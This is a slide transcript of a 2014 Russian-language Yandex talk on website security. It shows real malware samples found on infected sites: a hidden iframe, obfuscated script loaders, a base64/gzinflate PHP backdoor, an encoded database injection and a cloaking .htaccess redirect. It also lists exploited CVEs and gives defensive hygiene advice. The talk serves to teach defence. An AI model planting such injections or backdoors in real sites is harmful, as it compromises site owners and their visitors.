SlideShare a Scribd company logo
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: 
мифы и реальность 
Пётр Волков 
Я.Субботник, Новосибирск, 18.10.2014
Яндекс предупреждает пользователей о 
сайтах 
• С вредоносными программами 
• Эксплуатирующих уязвимости окружения браузера 
• С фишингом 
• SMS мошенничеством 
• С нежелательными для пользователя программами
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр Волков
Более 99 % пользователей поиска не переходят на зараженные 
сайты
Устройство антивирусной системы 
Яндекса
Статистика системы 
более 2500 новых 
заражений сайтов в сутки 
около 210k 
вредоносных сайтов в БД
Безопасность сайта: мифы и реальность — Петр Волков
Уведомления о заражении 
• Контактный email адрес 
из Яндекс.Вебмастер 
• Указанный в WHIOS адрес 
• abuse@ 
• webmaster@ 
• security@ 
• admin@ 
• …
Безопасность сайта: мифы и реальность — Петр Волков
Safebrowsing API
Яндекс.DNS
Эксплуатация уязвимостей окружения 
браузера
Какие эксплоиты можно встретить 
Продукт Уязвимость Уязвимая версия 
Flash player CVE-2013-0634 <= 11.5.502.149 
Flash player CVE-2014-0497 <= 12.0.0.44 
Flash player 
CVE-2014-0515 
<= 13.0.0.206 
Internet Explorer CVE-2013-2551 
6 - 10 
Internet Explorer 
CVE-2014-0322 9, 10 
Silverlight CVE-2013-0074 <= 5.1.20125.0 
Silverlight CVE-2013-3896 <= 5.1.20913.0 
Adobe Reader CVE-2010-0188 <=9.3 
Java Runtime 2013-0422 <= 1.7.0.11 
Java Runtime CVE-2013-2465 <= 1.7.0.21
Места естественного обитания вредоносного кода 
• Серверные скрипты 
• Конфиги веб-сервера 
• БД 
• Статика 
• Исполняемый файл/процесс веб-сервера, модули веб- 
сервера, модифицированный sshd
Шаблоны / JS 
{* Smarty Template *} 
{* Core Template *} 
{* Multi-lang - Loads all inner components of the page *} 
<!DOCTYPE HTML> 
<html> 
<head> 
{include file=$lang|cat:"/head.tpl"} 
</head> <body> 
{include file=$lang|cat:"/menu.tpl"} 
{include file=$lang|cat:"/body.tpl"} 
{include file=$lang|cat:"/footer.tpl"} 
<iframe src="http://thumbtackeffects.biz:90/forum/ask.php" 
width="0" height="0" frameborder="0"></iframe> 
</body> 
</html>
Шаблоны / JS 
;var I=/*@cc_on!@*/false || !!document.documentMode;if(I||F||window.opera) 
{document.write("<s"+"cr"+"ipt s"+"r"+"c='f"+"tp://f"+"t"+"t1.r"+"u/ 
is"+"t.j"+"s'></sc"+"ri"+"pt>");}
Server-­‐side 
cкрипты 
<?php assert(gzinflate(base64_decode('ZXbc...1sdQp9‘))); 
smarty = new Smarty; 
$smarty->setTemplateDir('../smarty/templates'); 
class Template extends Smarty 
{ 
function __construct() 
{ 
parent::__construct(); 
$this->template_dir = "../smarty/templates/"; 
$this->compile_dir = "../smarty/templates_c/"; 
}
БД 
… 
<p><strong></strong></p> 
<SCRIPT>document.write(unescape('<%53C122IP%54> 146f075060073 f 
0456Fr(%6E%6E040i156%20144oc165me%6E04574%29 i146(n156==047et 
157ur%73%270457C%7Cnn075=%27lo1470456F-141ni155047) 146f= 
%31073 151f(04566f=0750174|( 
... 
>074047+04527%2FSC122IP124%3E047%29%3B d157c04575me156t. 
167162it%6505004527<047+047041--047);04520%3C/S%43R111P124>'))</ 
SCRIPT><H2>Crestor side effects</H2> 
<P>Necrosis in the clinical, findings 
…
Файлы 
конфигурации 
( 
.htaccess 
) 
RewriteEngine On 
… 
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR] 
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" 
[NC,OR] 
… 
RewriteCond %{HTTP_USER_AGENT} !google [NC] 
RewriteCond %{HTTP_USER_AGENT} !yandex [NC] 
RewriteCond %{HTTP_USER_AGENT} !bot [NC] 
… 
[L,R=302] 
RewriteCond %{HTTP_REFERER} ^http://www.yandex.ru/ [OR] 
RewriteCond %{HTTP_REFERER} ^http://google.com/ [OR] 
… 
RewriteRule ^(.*)$ 
http://qo0.ru/?1&source=%{HTTP_HOST} 
[L,R=302]
Реклама 
и 
партнерские 
программы 
<script type="text/javascript"></script>
httpd.conf 
Бинарные 
файлы 
LoadModule access_module modules/mod_access.so 
LoadModule actions_module modules/mod_actions.so 
LoadModule alias_module modules/mod_alias.so 
LoadModule asis_module modules/mod_spm_headers.so 
LoadModule auth_module modules/mod_auth.so 
#LoadModule auth_anon_module modules/mod_auth_anon.so 
#LoadModule auth_dbm_module modules/mod_auth_dbm.so 
DrWeb: Linux.Iframe.1 
Sophos: Troj/Apmod-C 
TrendMicro-HouseCall: TROJ_GEN
Базовая гигиена 
• Не оставлять на продакшн-сервере никаких test.php и 
backup.tgz 
• Парольная гигиена 
• Регулярное обновление серверного ПО, в том числе ядра 
ОС 
• Запрет доступа к сервисам извне
Минимизация привилегий 
Уменьшаем периметр атаки 
• Ограничение прав веб-сервера 
• На продакшн-сервере только необходимый минимум 
программ 
• Обновление серверного ПО, в том числе ядра ОС 
• Строгая политика доступа к каталогам через веб
Контроль целостности 
Как не прозевать вредоносную активность? 
• Размещение пакетами 
• Система контроля версий 
• Внешний контроль целостности (например, 
tripwire)
Что почитать: 
Расследование об информационной безопасности в Яндексе. Rdomn – скрытая угроза 
http://habrahabr.ru/company/yandex/blog/218143/ 
MAYHEM — многоцелевой бот для *NIX-серверов. Расследование Яндекс.Безопасности 
http://habrahabr.ru/company/yandex/blog/230167/ 
Яндекс и безопасность. Как мы изучали и обезвреживали обёртки (агрессивные adware) 
http://habrahabr.ru/company/yandex/blog/226817/ 
Устройство системы Безопасного Поиска Яндекса 
http://habrahabr.ru/company/yandex/blog/195408/ 
Детектор сайтов, заражающих компьютеры посетителей с помощью вредоносных Java-апплетов 
http://habrahabr.ru/post/170921/ 
О детектировании атак drive-by download и новых векторах распространения через Flash-баннеры 
http://habrahabr.ru/post/143345/ 
Ebury and CDorked. Full disclosure 
https://www.virusbtn.com/conference/vb2014/abstracts/SidorovBureau.xml 
Развитие drive by download атак 
http://safesearch.ya.ru/replies.xml?item_no=727
Полезные ссылки: 
http://safesearch.ya.ru - Блог антивирусной службы Яндекса 
http://dns.yandex.ru – Яндекс.DNS 
http://safe.yandex.ru – SafeBrowsing API 
http://help.yandex.ru/webmaster/security/cure.xml – Раздел «безопасность» в Яндекс.Вебмастере 
http://webmaster.yandex.ru/delspam.xml – Форма жалоб на спам/вредоносный код/фишинг
Безопасность сайта: 
мифы и реальность 
Пётр Волков 
Руководитель группы анализа вредоносного кода 
peevo@yandex-team.ru 
Я.Субботник, Новосибирск, 18.10.2014

More Related Content

Безопасность сайта: мифы и реальность — Петр Волков

  • 2. Безопасность сайта: мифы и реальность Пётр Волков Я.Субботник, Новосибирск, 18.10.2014
  • 3. Яндекс предупреждает пользователей о сайтах • С вредоносными программами • Эксплуатирующих уязвимости окружения браузера • С фишингом • SMS мошенничеством • С нежелательными для пользователя программами
  • 7. Более 99 % пользователей поиска не переходят на зараженные сайты
  • 9. Статистика системы более 2500 новых заражений сайтов в сутки около 210k вредоносных сайтов в БД
  • 11. Уведомления о заражении • Контактный email адрес из Яндекс.Вебмастер • Указанный в WHIOS адрес • abuse@ • webmaster@ • security@ • admin@ • …
  • 16. Какие эксплоиты можно встретить Продукт Уязвимость Уязвимая версия Flash player CVE-2013-0634 <= 11.5.502.149 Flash player CVE-2014-0497 <= 12.0.0.44 Flash player CVE-2014-0515 <= 13.0.0.206 Internet Explorer CVE-2013-2551 6 - 10 Internet Explorer CVE-2014-0322 9, 10 Silverlight CVE-2013-0074 <= 5.1.20125.0 Silverlight CVE-2013-3896 <= 5.1.20913.0 Adobe Reader CVE-2010-0188 <=9.3 Java Runtime 2013-0422 <= 1.7.0.11 Java Runtime CVE-2013-2465 <= 1.7.0.21
  • 17. Места естественного обитания вредоносного кода • Серверные скрипты • Конфиги веб-сервера • БД • Статика • Исполняемый файл/процесс веб-сервера, модули веб- сервера, модифицированный sshd
  • 18. Шаблоны / JS {* Smarty Template *} {* Core Template *} {* Multi-lang - Loads all inner components of the page *} <!DOCTYPE HTML> <html> <head> {include file=$lang|cat:"/head.tpl"} </head> <body> {include file=$lang|cat:"/menu.tpl"} {include file=$lang|cat:"/body.tpl"} {include file=$lang|cat:"/footer.tpl"} <iframe src="http://thumbtackeffects.biz:90/forum/ask.php" width="0" height="0" frameborder="0"></iframe> </body> </html>
  • 19. Шаблоны / JS ;var I=/*@cc_on!@*/false || !!document.documentMode;if(I||F||window.opera) {document.write("<s"+"cr"+"ipt s"+"r"+"c='f"+"tp://f"+"t"+"t1.r"+"u/ is"+"t.j"+"s'></sc"+"ri"+"pt>");}
  • 20. Server-­‐side cкрипты <?php assert(gzinflate(base64_decode('ZXbc...1sdQp9‘))); smarty = new Smarty; $smarty->setTemplateDir('../smarty/templates'); class Template extends Smarty { function __construct() { parent::__construct(); $this->template_dir = "../smarty/templates/"; $this->compile_dir = "../smarty/templates_c/"; }
  • 21. БД … <p><strong></strong></p> <SCRIPT>document.write(unescape('<%53C122IP%54> 146f075060073 f 0456Fr(%6E%6E040i156%20144oc165me%6E04574%29 i146(n156==047et 157ur%73%270457C%7Cnn075=%27lo1470456F-141ni155047) 146f= %31073 151f(04566f=0750174|( ... >074047+04527%2FSC122IP124%3E047%29%3B d157c04575me156t. 167162it%6505004527<047+047041--047);04520%3C/S%43R111P124>'))</ SCRIPT><H2>Crestor side effects</H2> <P>Necrosis in the clinical, findings …
  • 22. Файлы конфигурации ( .htaccess ) RewriteEngine On … RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR] RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR] … RewriteCond %{HTTP_USER_AGENT} !google [NC] RewriteCond %{HTTP_USER_AGENT} !yandex [NC] RewriteCond %{HTTP_USER_AGENT} !bot [NC] … [L,R=302] RewriteCond %{HTTP_REFERER} ^http://www.yandex.ru/ [OR] RewriteCond %{HTTP_REFERER} ^http://google.com/ [OR] … RewriteRule ^(.*)$ http://qo0.ru/?1&source=%{HTTP_HOST} [L,R=302]
  • 23. Реклама и партнерские программы <!--Money counter--><script type="text/javascript"><!-- document.write('<sc' + 'ript language="JavaScript" rel="nofollow" ' + 'src="http://traffbiz.is-by.us/ID_сайта/counterOne.jpg" title="Money counter" border="0" width="1" height="1"></sc' + 'ript>'); //--></script><!--/Money counter-->
  • 24. httpd.conf Бинарные файлы LoadModule access_module modules/mod_access.so LoadModule actions_module modules/mod_actions.so LoadModule alias_module modules/mod_alias.so LoadModule asis_module modules/mod_spm_headers.so LoadModule auth_module modules/mod_auth.so #LoadModule auth_anon_module modules/mod_auth_anon.so #LoadModule auth_dbm_module modules/mod_auth_dbm.so DrWeb: Linux.Iframe.1 Sophos: Troj/Apmod-C TrendMicro-HouseCall: TROJ_GEN
  • 25. Базовая гигиена • Не оставлять на продакшн-сервере никаких test.php и backup.tgz • Парольная гигиена • Регулярное обновление серверного ПО, в том числе ядра ОС • Запрет доступа к сервисам извне
  • 26. Минимизация привилегий Уменьшаем периметр атаки • Ограничение прав веб-сервера • На продакшн-сервере только необходимый минимум программ • Обновление серверного ПО, в том числе ядра ОС • Строгая политика доступа к каталогам через веб
  • 27. Контроль целостности Как не прозевать вредоносную активность? • Размещение пакетами • Система контроля версий • Внешний контроль целостности (например, tripwire)
  • 28. Что почитать: Расследование об информационной безопасности в Яндексе. Rdomn – скрытая угроза http://habrahabr.ru/company/yandex/blog/218143/ MAYHEM — многоцелевой бот для *NIX-серверов. Расследование Яндекс.Безопасности http://habrahabr.ru/company/yandex/blog/230167/ Яндекс и безопасность. Как мы изучали и обезвреживали обёртки (агрессивные adware) http://habrahabr.ru/company/yandex/blog/226817/ Устройство системы Безопасного Поиска Яндекса http://habrahabr.ru/company/yandex/blog/195408/ Детектор сайтов, заражающих компьютеры посетителей с помощью вредоносных Java-апплетов http://habrahabr.ru/post/170921/ О детектировании атак drive-by download и новых векторах распространения через Flash-баннеры http://habrahabr.ru/post/143345/ Ebury and CDorked. Full disclosure https://www.virusbtn.com/conference/vb2014/abstracts/SidorovBureau.xml Развитие drive by download атак http://safesearch.ya.ru/replies.xml?item_no=727
  • 29. Полезные ссылки: http://safesearch.ya.ru - Блог антивирусной службы Яндекса http://dns.yandex.ru – Яндекс.DNS http://safe.yandex.ru – SafeBrowsing API http://help.yandex.ru/webmaster/security/cure.xml – Раздел «безопасность» в Яндекс.Вебмастере http://webmaster.yandex.ru/delspam.xml – Форма жалоб на спам/вредоносный код/фишинг
  • 30. Безопасность сайта: мифы и реальность Пётр Волков Руководитель группы анализа вредоносного кода peevo@yandex-team.ru Я.Субботник, Новосибирск, 18.10.2014